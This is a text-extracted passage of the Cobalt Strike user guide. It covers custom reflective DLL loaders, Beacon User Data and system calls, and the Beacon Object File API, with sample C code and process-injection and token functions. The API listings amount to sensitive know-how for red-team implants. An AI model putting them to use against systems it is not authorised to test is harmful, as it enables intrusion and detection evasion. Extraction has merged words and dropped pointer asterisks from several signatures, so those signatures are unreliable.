MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader Using Post-ex User Defined Reflective DLL Loaders Create/Compileyour ReflectiveLoaders ThePost-exUserDefinedReflectiveLoaderexampleispartoftheudrl-vskitintheArsenalKit. GottoHelp -> ArsenalanddownloadtheArsenalKit.Yourlicensekeyisrequired.Pleasenote thatUserDefinedReflectiveLoadersforBeaconpayloadsandpost-expayloadsareverysimilar buthavesomesubtledifferences. TheloaderentryfunctioniscalledwiththeWinAPIcallingconvention,andittakesasingle LPVOIDargument.Therefore,theentryfunctionmustbedeclaredasfollows: void WINAPI ReflectiveLoader(LPVOID loaderArgument) Post-exploitationpayloadsassumethattheDLL'sentrypointiscalledwiththefollowingorder andarguments: DllMain(, DLL_PROCESS_ATTACH, ); DllMain(, 4, ); TheRDATA_SECTIONpointargumentisassomelong-runningpost-exploitationpayloads obfuscatetheir.rdatasectionduringthewaitingperiod.Itistheloader'sresponsibilitytoprovide thefollowingstructuretotheDLL: typedef struct { char* start; // The start address of the .rdata section DWORD length; // The length (Size of Raw Data) of the .rdata section DWORD offset; // The obfuscation start offset } RDATA_SECTION, *PRDATA_SECTION; TheobfuscationstartoffsetensuresthattheImportAddressTable(IAT)willnotbeobfuscated. Typically,thisvalueshouldbesettothesizeoftheIMAGE_DIRECTORY_ENTRY_IATData Directoryentryasfollows: rdata->offset = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ ENTRY_IAT].Size; User Defined Reflective DLL Loader CobaltStrikeUserGuide www.fortra.com page:164

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader CobaltStrike4.4addedsupportforusingcustomizedreflectiveloadersforbeaconpayloads. TheUserDefinedReflectiveLoader(UDRL)KitisthesourcecodefortheUDRLexample.Goto Help -> ArsenalanddownloadtheUDRLKit.Yourlicencekeyisrequired. NOTE: Thereflectiveloader'sexecutablecodeistheextracted.textsectionfromauserprovided compiledobjectfile.Theextractedexecutablecodemustbelessthan100KB. Implementation ThefollowingAggressorscripthooksareprovidedtoallowimplementationofUserDefined ReflectiveLoaders: Function Description BEACON_RDLL_GENERATE HookusedtoimplementbasicReflectiveLoader replacement. BEACON_RDLL_SIZE Thishookiscalledwhenpreparingbeaconsand allowstheusertoconfiguremorethan5KBspace fortheirreflectiveloader(upto100KB).Thishook canalsobeusedtoremovetheentirespacefor thereflectiveloader. BEACON_RDLL_GENERATE_LOCAL HookusedtoimplementadvancedReflective Loaderreplacement.Additionalarguments providedincludeBeaconID,GetModuleHandleA address,andGetProcAddressaddress. ThefollowingAggressorscriptfunctionsareprovidedtoextracttheReflectiveLoader executablecode(.textsection)fromacompiledobjectfileandinserttheexecutablecodeinto thebeaconpayload: Function Description extract_reflective_loader ExtractstheReflectiveLoaderexecutablecode fromabytearraycontainingacompiledobjectfile. setup_reflective_loader InsertstheReflectiveLoaderexecutablecodeinto thebeaconpayload. ThefollowingAggressorscriptfunctionsareprovidedtomodifythebeaconpayloadusing informationfromtheMalleableC2profile: CobaltStrikeUserGuide www.fortra.com page:165

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader Function Description setup_strings ApplythestringsdefinedintheMalleableC2profile tothebeaconpayload. setup_transformations Applythetransformationrulesdefinedinthe MalleableC2profiletothebeaconpayload. ThefollowingAggressorscriptfunctionisprovidedtoobtaininformationaboutthebeacon payloadtoassistwithcustommodificationstothepayload: Function Description pedump Loadsamapofinformationaboutthebeacon payload.Thismapinformationissimilartothe outputofthe"peclone"commandwiththe"dump" argument. ThefollowingAggressorscriptfunctionsareprovidedtoperformcustommodificationstothe beaconpayload: NOTE: Dependingonthecustommodificationsmade(obfuscation,mask,etc...),thereflective loadermayhavetoreversethosemodificationswhenloading. Function Description pe_insert_rich_header InsertrichheaderdataintoBeaconDLLContent.If thereisexistingrichheaderinformation,itwillbe replaced. pe_mask MaskdataintheBeaconDLLContentbasedon positionandlength. pe_mask_section MaskdataintheBeaconDLLContentbasedon positionandlength. pe_mask_string MaskastringintheBeaconDLLContentbasedon position. pe_patch_code PatchcodeintheBeaconDLLContentbasedon find/replacein'.text'section'. pe_remove_rich_header RemovetherichheaderfromBeaconDLL Content. pe_set_compile_time_with_long SetthecompiletimeintheBeaconDLLContent. pe_set_compile_time_with_string SetthecompiletimeintheBeaconDLLContent. CobaltStrikeUserGuide www.fortra.com page:166

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader Function Description pe_set_export_name SettheexportnameintheBeaconDLLContent. pe_set_long Placesalongvalueataspecifiedlocation. pe_set_short Placesashortvalueataspecifiedlocation. pe_set_string Placesastringvalueataspecifiedlocation. pe_set_stringz Placesastringvalueataspecifiedlocationand addsazeroterminator. pe_set_value_at Setsalongvaluebasedonthelocationresolvedby anamefromthePEMap(seepedump). pe_stomp Setastringtonullcharacters.Startataspecified locationandsetsallcharacterstonulluntilanull stringterminatorisreached. pe_update_checksum UpdatethechecksumintheBeaconDLLContent. Using User Defined Reflective DLL Loaders Create/Compileyour ReflectiveLoaders TheUserDefinedReflectiveLoader(UDRL)KitisthesourcecodefortheUDRLexample.Goto Help -> ArsenalanddownloadtheUDRLKit(yourlicensekeyisrequired). ThefollowingistheCobaltStrikeprocessforpreppingbeacons: l TheBEACON_RDLL_SIZEhookiscalledwhenpreparingbeacons. o Thisgivestheuserachancetoindicatethatmorethan5KBspacewillberequired fortheirreflectiveloader. o Userscanusebeaconswithspacereservedforareflectiveloaderupto100KB. o Whenoverridingavailablereflectiveloaderspaceinthebeacons,thebeaconswill bemuchlarger.Infact,theywillbetoolargeforstandardartifactsprovidedby CobaltStrike.Userswillneedtoupdatetheirprocesstousecustomizedartifacts withlargerreservedspaceforthelargerbeacons. o Thiscanbeusedtoremovethereflectiveloaderspacefrom theBeaconDLL. CobaltStrikeUserGuide www.fortra.com page:167

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader l Beaconsarepatchedwithrequiredsettingsaspayloaddata. o ThefollowingarepatchedintoBeaconsforUDRL: n ListenerSettings n SomeMalleableC2Settings. Usingsleepmaskanduserwxrequiresareflectiveloadercapableofcreating memoryforthe.textexecutablecodewithRWXpermissions,orthebeacon willcrashwhenmasking/unmaskingwriteprotectedmemory.Thedefault reflectiveloadersnormallyhandlethis. Usingsleepmaskandobfuscaterequiresareflectiveloadercapableof removingthe1st4Kblock(Header)oftheDLLastheheaderwillnotbe masked. o ThefollowingisNOTpatchedintoBeaconsforUDRL: n PEModifications l BEACON_RDLL_GENERATEisnormallycalled.BEACON_RDLL_GENERATE_LOCALhook iscalledwhen: o Thefollowingdetermineswhichiscalled: n MalleableC2has“.stage.smartinject”seton. o Useextract_reflective_loaderfunctiontoextractthereflectiveloader. o Usesetup_reflective_loaderfunctiontopatchtheextractedreflectiveloaderinto thereflectiveloaderspaceintheBeacons. n Iftheloaderistoobigfortheselectedbeacon,youwillseeamessagelike this: o ReflectiveDLLContentlength(123456)exceedsavailablespace (5120). n Use“BEACON_RDLL_SIZE”touseabeaconswithlargerReflectiveLoaders. o Thereareadditionalfunctionsavailabletohelpinspectandmakemodificationsto theBeaconsbasedontheReflectiveLoaderscapabilities.Forexample: n Provideobfuscation n Patchinaddressesforsmartinjectsupport l Beaconsarepatchedintoartifacts. o Beaconsthathavebeenbuiltwiththelargerreflectiveloaderspace(per“BEACON_ RDLL_SIZE”above)willneedtobeloadedintocustomizedartifactswithspaceto holdlargebeacons. o GotoHelp -> Arsenalfrom alicensedCobaltStriketodownloadtheArtifactKit. o Seethe“stagesize”referencesintheseartifactkitfilesprovidedbyCobaltStrike: n See“stagesize”referencesinartifactbuildscript. n See“stagesize”referencesinscript.example CobaltStrikeUserGuide www.fortra.com page:168

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader Beacon User Data BeaconUserData(BUD)isaC-structurethatallowsReflectiveLoaderstopassadditionaldata toBeacons.Youcandownloadthebeacon_user_data.hfilehere.Inaddition,theudrl-vskitin theArsenalKitincludesanexampleBUDloader. PassingBeaconUserData TheBUDispassedasapointertotheBeaconbycallingBeacon'sDllMainfunctionwitha customreasoningknownasDLL_BEACON_USER_DATA(0x0d).TheBUDmustbegivento BeaconbeforethestandardDLL_PROCESS_ATTACHreasonisinvoked. BeaconcopiesnecessaryvaluesfromtheBUDduringtheDLL_USER_DATAcall,andthereforeit isnotrequiredtokeeptheBUDstructureinmemoryafterthecall. VersionNumber ThefirstvaluecontainedwithintheBUDstructureistheversionnumber.Thisversionnumberis essentialinensuringbackwardcompatibilitybetweendifferentversionsofBeaconsand ReflectiveLoaderssinceitallowsnewerBeaconstohandleandutilizetheolderBUDstructure withoutcrashing. Theversionnumberusesthefollowingformat:0xMMmmPP,where: l MM=CobaltStrikesmajorversionnumber l mm =CobaltStrikesminorversionnumber l PP=CobaltStrikespatchversionnumber Forexample,0x040900translatestoversionCS 4.9. System Calls BeaconUserDataallowsaReflectiveLoadertoresolveandpasssystemcallinformationto Beacon,whichovertakesBeacon'sdefaultsystemcallresolver.SeeSystem Calls on page 41 tolearnmore. BeaconUserDatahasanSYSCALL_API_ENTRYstructureforeachsupportedSystemCall,and theSYSCALL_APIstructureholdstheseentries.Theentrycontainsthefollowingvalues CobaltStrikeUserGuide www.fortra.com page:169

MalleablePE,ProcessInjection,andPostExploitation/UserDefinedReflectiveDLL Loader l jmpAddr:TheaddressofthecorrectSystem Callinstructiondependingonsystem architecture: o x64:thesyscallinstruction o WOW64(32-bitonx64):FastSysCallinWOW64 o Nativex86:KiFastSystemCall l sysnum:TheSystem Callnumber l fnAddr:TheaddressofthecorrespondingNt*function ThejmpAddrandsysnumvaluesarerequiredforindirectSystemCalls,andfnAddrisrequired fordirectSystemCalls.Ifthevalueiszero,BeaconfallsbacktothecorrespondingWinAPIcall. Theuser-definedSystemCallinformationisskippedifthesyscallsfieldsintheUSER_DATA structurepointstoNULL. Custom Data BeaconUserDataallowsaReflectiveLoadertopassasmall(32bytes)databuffertoBeacon. BeaconObjectFiles(BOFs)canretrieveapointertothisdatawiththe BeaconGetCustomUserDatafunction. CobaltStrikeUserGuide www.fortra.com page:170

BeaconObjectFiles/WhataretheadvantagesofBOFs? Beacon Object Files ABeaconObjectFile(BOF)isacompiledCprogram,writtentoaconventionthatallowsitto executewithinaBeaconprocessanduseinternalBeaconAPIs.BOFsareawaytorapidly extendtheBeaconagentwithnewpost-exploitationfeatures. What are the advantages of BOFs? Oneofthekeyrolesofacommand&controlplatformistoprovidewaystouseexternalpost- exploitationfunctionality.CobaltStrikealreadyhastoolstousePowerShell,.NET,andReflective DLLs.ThesetoolsrelyonanOPSECexpensivefork&runpatternthatinvolvesaprocesscreate andinjectionforeachpost-exploitationaction.BOFshavealighterfootprint.Theyruninsideofa Beaconprocessandarememorycanbecontrolledusingthemalleablec2profilewithinthe process-injectblock. BOFsarealsoverysmall.AUACbypassprivilegeescalationReflectiveDLLimplementationmay weighinat100KB+.Thesameexploit,builtasaBOF,is<3KB.Thiscanmakeabigdifference whenusingbandwidthconstrainedchannels,suchasDNS. Finally,BOFsareeasytodevelop.YoujustneedaWin32Ccompilerandacommandline.Both MinGWandMicrosoft'sCcompilercanproduceBOFfiles.Youdon'thavetofusswithproject settingsthataresometimesmoreeffortthanthecodeitself. How do BOFs work? ToBeacon,aBOFisjustablockofposition-independentcodethatreceivespointerstosome BeaconinternalAPIs. ToCobaltStrike,aBOFisanobjectfileproducedbyaCcompiler.CobaltStrikeparsesthisfile andactsasalinkerandloaderforitscontents.Thisapproachallowsyoutowriteposition- independentcode,foruseinBeacon,withouttediousgymnasticstomanagestringsand dynamicallycallWin32APIs. What are the disadvantages of BOFs? BOFsaresingle-fileCprogramsthatcallWin32APIsandlimitedBeaconAPIs.Don'texpectto linkinotherfunctionalityorbuildlargeprojectswiththismechanism. CobaltStrikedoesnotlinkyourBOFtoalibc.Thismeansyou'relimitedtocompilerintrinsics (e.g.,__stosbonVisualStudioformemset),theexposedBeaconinternalAPIs,Win32APIs,and CobaltStrikeUserGuide www.fortra.com page:171

BeaconObjectFiles/HowdoIdevelopaBOF? thefunctionsthatyouwrite.Expectthatalotofcommonfunctions(e.g.,strlen,stcmp,etc.)are notavailabletoyouviaaBOF. BOFsexecuteinsideofyourBeaconagent.IfaBOFcrashes,youorafriendyouvaluewilllose access.WriteyourBOFscarefully. CobaltStrikeexpectsthatyourBOFsaresingle-threadedprogramsthatrunforashortperiodof time.BOFswillblockotherBeacontasksandfunctionalityfromexecuting.ThereisnoBOF patternforasynchronousorlong-runningtasks.Ifyouwanttobuildalong-runningcapability, consideraReflectiveDLLthatrunsinsideofasacrificialprocess. How do I develop a BOF? OpenyourpreferredtexteditorandstartwritingaCprogram.Here'saHelloWorldBOF: #include <windows.h> #include "beacon.h" void go(char * args, int alen) { BeaconPrintf(CALLBACK_OUTPUT, "Hello World: %s", args); } Downloadbeacon.h. TocompilethiswithVisualStudio: cl.exe /c /GS- hello.c /Fohello.o Tocompilethiswithx86MinGW: i686-w64-mingw32-gcc -c hello.c -o hello.o Tocompilethiswithx64MinGW: x86_64-w64-mingw32-gcc -c hello.c -o hello.o Thecommandsaboveproduceahello.ofile.Useinline-executeinBeacontoruntheBOF. beacon> inline-execute /path/to/hello.o these are arguments beacon.hcontainsdefinitionsforseveralinternalBeaconAPIs.Thefunctiongoissimilarto maininanyotherCprogram.It'sthefunctionthat'scalledbyinline-executeandargumentsare CobaltStrikeUserGuide www.fortra.com page:172

BeaconObjectFiles/DynamicFunctionResolution passedtoit.BeaconOutputisaninternalBeaconAPItosendoutputtotheoperator.Notmuch toit. Dynamic Function Resolution GetProcAddress,LoadLibraryA,GetModuleHandle,andFreeLibraryareavailablewithinBOF files.YouhavetheoptiontousethesetoresolveWin32APIsyouwishtocall.Anotheroptionis touseDynamicFunctionResolution(DFR). DynamicFunctionResolutionisaconventiontodeclareandcallWin32APIsas LIBRARY$Function.ThisconventionprovidesBeaconwiththeinformationitneedstoexplicitly resolvethespecificfunctionandmakeitavailabletoyourBOFfilebeforeitruns.Whenthis processfails,CobaltStrikewillrefusetoexecutetheBOFandtellyouwhichfunctionitcouldn't resolve. Here'sanexampleBOFthatusesDFR andlooksupthecurrentdomain: #include <windows.h> #include <stdio.h> #include <dsgetdc.h> #include "beacon.h" DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID); DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID); void go(char * args, int alen) { DWORD dwRet; PDOMAIN_CONTROLLER_INFO pdcInfo; dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo); if (ERROR_SUCCESS == dwRet) { BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName); } NETAPI32$NetApiBufferFree(pdcInfo); } TheabovecodemakesDFR callstoDsGetDcNameAandNetApiBufferFreefromNETAPI32. WhenyoudeclarefunctionprototypesforDynamicFunctionResolution,paycloseattentionto thedecoratorsattachedtothefunctiondeclaration.Keywords,suchasWINAPIand DECLSPEC_IMPORTareimportant.Thesedecorationsprovidethecompilerwiththeneeded hintstopassargumentsandgeneratetherightcallinstruction. CobaltStrikeUserGuide www.fortra.com page:173

BeaconObjectFiles/AggressorScriptandBOFs Aggressor Script and BOFs You'lllikelywanttouseAggressorScripttorunyourfinalizedBOFimplementationswithin CobaltStrike.ABOFisagoodplacetoimplementalateralmovementtechnique,anescalation ofprivilegetool,oranewreconnaissancecapability. The&beacon_inline_executefunctionisAggressorScript'sentrypointtorunaBOFfile.Hereisa scripttorunasimpleHelloWorldprogram: alias hello { local('$barch $handle $data $args');

figure out the arch of this session

$barch = barch($1);

read in the right BOF file

$handle = openf(script_resource("hello. $+ $barch $+ .o")); $data = readb($handle, -1); closef($handle);

pack our arguments

$args = bof_pack($1, "zi", "Hello World", 1234);

announce what we're doing

btask($1, "Running Hello BOF");

execute it.

beacon_inline_execute($1, $data, "demo", $args); } Thescriptfirstdeterminesthearchitectureofthesession.Anx86BOFwillonlyruninanx86 Beaconsession.Conversely,anx64BOFwillonlyruninanx64Beaconsession.Thisscriptthen readstargetBOFintoanAggressorScriptvariable.Thenextstepistopackourarguments.The &bof_packfunctionpacksargumentsinawaythatiscompatiblewithBeacon'sinternaldata parserAPI.Thisscriptusesthecustomary&btasktologtheactiontheuseraskedBeaconto perform.And,&beacon_inline_executerunstheBOFwithitsarguments. The&beacon_inline_executefunctionacceptstheBeaconIDasthefirstargument,astring containingtheBOFcontentasasecondargument,theentrypointasitsthirdargument,andthe packedargumentsasitsfourthargument.Theoptiontochooseanentrypointexistsincase youchoosetocombinelike-functionalityintoasingleBOF. HereistheCprogramthatcorrespondstotheabovescript: CobaltStrikeUserGuide www.fortra.com page:174

BeaconObjectFiles/BOFCAPI /*

  • Compile with:
  • x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
  • i686-w64-mingw32-gcc -c hello.c -o hello.x86.o / #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include "beacon.h" void demo(char * args, int length) { datap parser; char * str_arg; int num_arg; BeaconDataParse(&parser, args, length); str_arg = BeaconDataExtract(&parser, NULL); num_arg = BeaconDataInt(&parser); BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_arg); } Thedemofunctionisourentrypoint.Wedeclarethedatapstructureonthestack.Thisisan emptyanduninitiatedstructurewithstateinformationforextractingargumentspreparedwith &bof_pack.BeaconDataParseinitializesourparser.BeaconDataExtractextractsalength- prefixedbinaryblobfromourarguments.Ourpackfunctionhasoptionstopackbinaryblobsas zero-terminatedstringsencodedtothesession'sdefaultcharacterset,azero-terminatedwide- characterstring,orabinaryblobwithouttransformation.TheBeaconDataIntextractsaninteger thatwaspackedintoourarguments.BeaconPrintfisonewaytoformatoutputandmakeit availabletotheoperator. BOF C API Data Parser API TheDataParserAPIextractsargumentspackedwithAggressorScript's&bof_packfunction. Extractalength-prefixedbinaryblob.ThesizeargumentmaybeNULL.Ifanaddressisprovided, thesizeispopulatedwiththenumber-of-bytesextracted. charBeaconDataExtract(datapparser,intsize) Extracta4binteger. CobaltStrikeUserGuide www.fortra.com page:175

BeaconObjectFiles/BOFCAPI intBeaconDataInt(datapparser) Gettheamountofdatalefttoparse. intBeaconDataLength(datapparser) Prepareadataparsertoextractargumentsfromthespecifiedbuffer. voidBeaconDataParse(datapparser,charbuffer,intsize) Extracta2binteger. shortBeaconDataShort(datapparser) Output API TheOutputAPIreturnsoutputtoCobaltStrike. FormatandpresentoutputtotheBeaconoperator. voidBeaconPrintf(inttype,charfmt,...) SendoutputtotheBeaconoperator. voidBeaconOutput(inttype,char*data,intlen) Eachofthesefunctionsacceptsatypeargument.ThistypedetermineshowCobaltStrikewill processtheoutputandwhatitwillpresenttheoutputas.Thetypesare: CALLBACK_OUTPUTisgenericoutput.CobaltStrikewillconvertthisoutputtoUTF-16 (internally)usingthetarget'sdefaultcharacterset. CALLBACK_OUTPUT_OEMisgenericoutput.CobaltStrikewillconvertthisoutputtoUTF-16 (internally)usingthetarget'sOEMcharacterset.Youprobablywon'tneedthis,unless you'redealingwithoutputfromcmd.exe. CALLBACK_ERRORisagenericerrormessage. CALLBACK_OUTPUT_UTF8isgenericoutput.CobaltStrikewillconvertthisoutputtoUTF- 16(internally)fromUTF-8. Format API TheformatAPIisusedtobuildlargeorrepeatingoutput. CobaltStrikeUserGuide www.fortra.com page:176

BeaconObjectFiles/BOFCAPI Allocatememorytoformatcomplexorlargeoutput. voidBeaconFormatAlloc(formatpobj,intmaxsz) Appenddatatothisformatobject. voidBeaconFormatAppend(formatpobj,chardata,intlen) Freetheformatobject. voidBeaconFormatFree(formatpobj) Appenda4binteger(bigendian)tothisobject. voidBeaconFormatInt(formatpobj,intval) Appendaformattedstringtothisobject. voidBeaconFormatPrintf(formatpobj,charfmt,...) Resetstheformatobjecttoitsdefaultstate(priortore-use). voidBeaconFormatReset(formatpobj) Extractformatteddataintoasinglestring.Populatethepassedinsizevariablewiththelength ofthisstring.TheseparametersaresuitableforusewiththeBeaconOutputfunction. charBeaconFormatToString(formatpobj,int*size) Internal APIs ThefollowingfunctionsmanipulatethetokenusedinthecurrentBeaconcontext: ApplythespecifiedtokenasBeacon'scurrentthreadtoken.Thiswillreportthenewtokentothe usertoo.ReturnsTRUEifsuccessful.FALSEisnot. BOOLBeaconUseToken(HANDLEtoken) Dropthecurrentthreadtoken.UsethisoverdirectcallstoRevertToSelf.Thisfunctioncleansup otherstateinformationaboutthetoken. voidBeaconRevertToken() ReturnsTRUEifBeaconisinahigh-integritycontext. CobaltStrikeUserGuide www.fortra.com page:177

BeaconObjectFiles/BOFCAPI BOOLBeaconIsAdmIn() ThefollowingfunctionsprovidesomeaccesstoBeacon'sprocessinjectioncapability: Populatethespecifiedbufferwiththex86orx64spawntovalueconfiguredforthisBeacon session. voidBeaconGetSpawnTo(BOOLx86,charbuffer,intlength) Thisfunctionspawnsatemporaryprocessaccountingforppid,spawnto,andblockdllsoptions. GrabthehandlefromPROCESS_INFORMATIONtoinjectintoormanipulatethisprocess. ReturnsTRUEifsuccessful. BOOLBeaconSpawnTemporaryProcess(BOOLx86,BOOLignoreToken, STARTUPINFOsInfo,PROCESS_INFORMATIONpInfo) Thisfunctionwillinjectthespecifiedpayloadintoanexistingprocess.Usepayload_offsetto specifytheoffsetwithinthepayloadtobeginexecution.Theargvalueisforarguments.argmay beNULL. voidBeaconInjectProcess(HANDLEhProc,intpid,charpayload,intpayload_len, intpayload_offset,chararg,intarg_len) ThisfunctioninjectsthespecifiedpayloadintoatemporaryprocessthatyourBOFoptedto launch.Usepayload_offsettospecifytheoffsetwithinthepayloadtobeginexecution.Thearg valueisforarguments.argmaybeNULL. voidBeaconInjectTemporaryProcess(PROCESS_INFORMATIONpInfo,char* payload,intpayload_len,intpayload_offset,chararg,intarg_len) Thisfunctioncleansupsomehandlesthatareoftenforgottenabout.Callthiswhenyou'redone interactingwiththehandlesforaprocess.Youdon'tneedtowaitfortheprocesstoexitorfinish. voidBeaconCleanupProcess(PROCESS_INFORMATIONpInfo) ThefollowingfunctionsareusedtoaccessstoreditemsinBeaconDataStore: Returnsapointertothespecificitem.Ifthereisnoentryatthatindex,thefunctionreturns NULL. PDATA_STORE_OBJECTBeaconDataStoreGetItem(size_tindex) ThisfunctionobfuscatesaspecificiteminBeaconDataStore. voidBeaconDataStoreProtectItem(size_tindex) CobaltStrikeUserGuide www.fortra.com page:178

BeaconObjectFiles/BOFCAPI Thisfunctionun-obfuscatesaspecificiteminBeaconDataStore. voidBeaconDataStoreUnprotectItem(size_tindex) ReturnthemaximumsizeofBeaconDataStore. size_tBeaconDataStoreMaxEntries() Thefollowingfunctionisautilityfunction: Convertthesrc stringtoaUTF16-LEwide-characterstring,usingthetarget'sdefaultencoding. max isthesize(inbytes!)ofthedestinationbuffer. BOOLtoWideChar(charsrc,wchar_tdst,intmax) Thisfunctionreturnsinformationaboutbeaconsuchasthebeaconaddress,sectionstomask, heaprecordstomask,themask,sleepmaskaddressandsleepmasksizeinformation. voidBeaconInformation(BEACON_INFOinfo); ThefollowingfunctionsprovideaccesstoBeacon'skeyvaluestore: Thisfunctionaddsamemoryaddresstoaninternalkeyvaluestoretoallowtheabilityto retrievethisvalueusingthekeyinasubsequentBOFexecution. BOOLBeaconAddValue(constcharkey,voidptr); Thisfunctionretrievesthememoryaddressthatisassociatedwiththekey fromtheinternal keyvaluestore.IfthekeyisnotfoundthenNULLisreturned. voidBeaconGetValue(constcharkey); Thisfunctionremovesthekey fromtheinternalkeyvaluestore.Thiswillnotdoanymemory cleanupofthememoryaddressandafinialexecutionofaBOFshoulddothenecessaryclean upinordertopreventmemoryleaks. BOOLBeaconRemoveValue(constcharkey); ThefollowingfunctionretrievesthecustomdatabufferfromBeaconUserData. char*BeaconGetCustomUserData() WhenaUserDefinedReflectiveLoaderprovidesBeaconUserData(BUD)duringtheloading process,thenthisfunctionwillreturnapointertothecustombufferarrayassociatedwiththe BUD.Thesizeofthisbufferarrayisfixedat32bytes,asdefinedintheUSER_DATAstructure.A CobaltStrikeUserGuide www.fortra.com page:179

BeaconObjectFiles/FormattingBOFOutput validmemorypointerisalwaysreturned.IfnoBUDisprovidedbytheUserDefinedReflective Loader,thenthepointeristothedefaultbufferarraywithall32valuessettozero. Formatting BOF Output ThebeaconformatAPIallowsyoutomodifyhowbeaconreturnsdatatotheusertosuitthe usersNeed.Datareturnedinaloopisanobviousexampleanduse-caseforthisAPI. WithouttheBeaconFormatAPI,beaconwillsendtheoutputbacktoyoueverytimeyouusethe BeaconPrintfAPIcall.Thiscouldleadtoformattingthatislessthanideal. Thebestwaytoillustratetheproblemisbyusingsomeexamples. Example - Simple counting BOF using a loop: CountingBOFExample 1 #include <windows.h> 2 #include "beacon.h" 3 #include "bofdefs.h" 4 5 void LoopExample() 6 { 7 int i; 8 for(i=0;i<11;i++) 9 { 10 BeaconPrintf(CALLBACK_OUTPUT,"counter is currently at %i",i); 11 } 12 } 13 14 void go(char * args, int len) { 15 LoopExample(); 16 } Whenthecodeisexecuted,youshouldseethefollowingresult: CobaltStrikeUserGuide www.fortra.com page:180

BeaconObjectFiles/FormattingBOFOutput figure68-Example1Output Asexpected,theoutputisservedbackinchunks,displayingspacinginbetweeneventhougha newlinecharacterwasnotspecifiedbecauseBeaconPrintfautomaticallyaddsanewlinefor you. IfyoumodifytheBeaconObjectFiletousetheBeaconFormatAPIinstead,youcangainmore controloverwhattheoutputlookslikewithfollowingsteps:

  1. First,allocatememorytoformattheoutput.
  2. Oncethebufferisallocatedandthereisapointertothebuffer,appendtothebuffer usingtheappendAPIslikeBeaconFormatAppend,BeaconFormatintand BeaconFormatPrintf.
  3. Whensatisfiedwiththebuffer,printitoutusingBeaconFormatToString
  4. Afterwards,youcaneitherreusethebufferforadditionaloperationsusing BeaconFormatResetor,ifyouaredonewithit,freeuptheallocatedmemoryusing BeaconFormatFree. Example - Using this approach in the counting BOF CountingBOFExample2 1 #include <windows.h> 2 #include "beacon.h" 3 #include "bofdefs.h" 4 CobaltStrikeUserGuide www.fortra.com page:181

BeaconObjectFiles/FormattingBOFOutput 5 void LoopExampleWithFormatting() 6 { 7 //1. create the new buffer pointer 8 formatp buffer; 9 10 //2. allocate memory to hold the formatted data 11 BeaconFormatAlloc(&buffer,1024); 12 13 int i; 14 for(i=0;i<11;i++) 15 { 16 //3. instead of printing, we will now fill the buffer - notice the new line character! 17 BeaconFormatPrintf(&buffer, "counter is currently at: %i\n",i); 18 } 19 20 //4. now that we have our filled up buffer, let's print it out 21 BeaconPrintf(CALLBACK_OUTPUT,"%s\n",BeaconFormatToString(&buffer,NULL)); 22 23 //5. time to free up the buffer 24 BeaconFormatFree(&buffer); 25 } 26 27 void LoopExample() 28 { 29 int i; 30 for(i=0;i<11;i++) 31 { 32 BeaconPrintf(CALLBACK_OUTPUT,"counter is currently at %i",i); 33 } 34 } 35 36 void go(char * args, int len) { 37 LoopExampleWithFormatting(); 38 } Whenthecodeisexecuted,youshouldseethefollowingresult: CobaltStrikeUserGuide www.fortra.com page:182

BeaconObjectFiles/FormattingBOFOutput Example - Read the virtual memory of the current process ReadVirtualMemoryExample 1 #include <windows.h> 2 #include "beacon.h" 3 #include "bofdefs.h" 4 5 HMODULE GetModHandle(LPCSTR module) 6 { 7 HMODULE hModule = KERNEL32$GetModuleHandleA(module); 8 return hModule ? hModule : KERNEL32$LoadLibraryA(module); 9 } 10 11 LPVOID GetMemptr(LPCSTR module, LPCSTR function) 12 { 13 HMODULE hModule = GetModHandle(module); 14 LPVOID memPtr = KERNEL32$GetProcAddress(hModule,function); 15 return memPtr? memPtr : NULL; 16 } 17 18 //format options: 1 decompile format, any other number - raw opcodes 19 void ReadvirtualMemory(LPCSTR module, LPCSTR function,int size, int format) 20 { 21 LPVOID memPtr = GetMemptr(module,function); 22 if(!memPtr) 23 { 24 BeaconPrintf(CALLBACK_ERROR,"no memptr found\n"); CobaltStrikeUserGuide www.fortra.com page:183

BeaconObjectFiles/FormattingBOFOutput 25 return; 26 } 27 else 28 { 29 formatp buffer; 30 BeaconFormatAlloc(&buffer,1024); 31 BYTE readbuffer = (BYTE)MSVCRT$malloc(size); 32 SIZE_T bytesread = 0; 33 KERNEL32$ReadProcessMemory((HANDLE)-1,memPtr,readbuffer,size,&bytesread); 34 BeaconFormatPrintf(&buffer, "showing the first %i opcodes of %s!%s\n",size,module,function); 35 36 for(int i = 0; i < size; i++) 37 { 38 if(format == 1) 39 { 40 BeaconFormatPrintf(&buffer,"\x%02X",readbuffer[i]); 41 } 42 else 43 { 44 BeaconFormatPrintf(&buffer,"%02X",readbuffer[i]); 45 } 46 } 47 BeaconPrintf(CALLBACK_OUTPUT,"%s\n",BeaconFormatToString(&buffer,NULL)); 48 BeaconFormatFree(&buffer); 49 MSVCRT$free(readbuffer); 50 } 51 } 52 void go(char * args, int len) { 53 char* module; 54 char* function; 55 int size; 56 int format; 57 datap parser; 58 BeaconDataParse(&parser, args, len); 59 module = BeaconDataExtract(&parser,NULL); 60 function = BeaconDataExtract(&parser,NULL); 61 size = BeaconDataInt(&parser); CobaltStrikeUserGuide www.fortra.com page:184

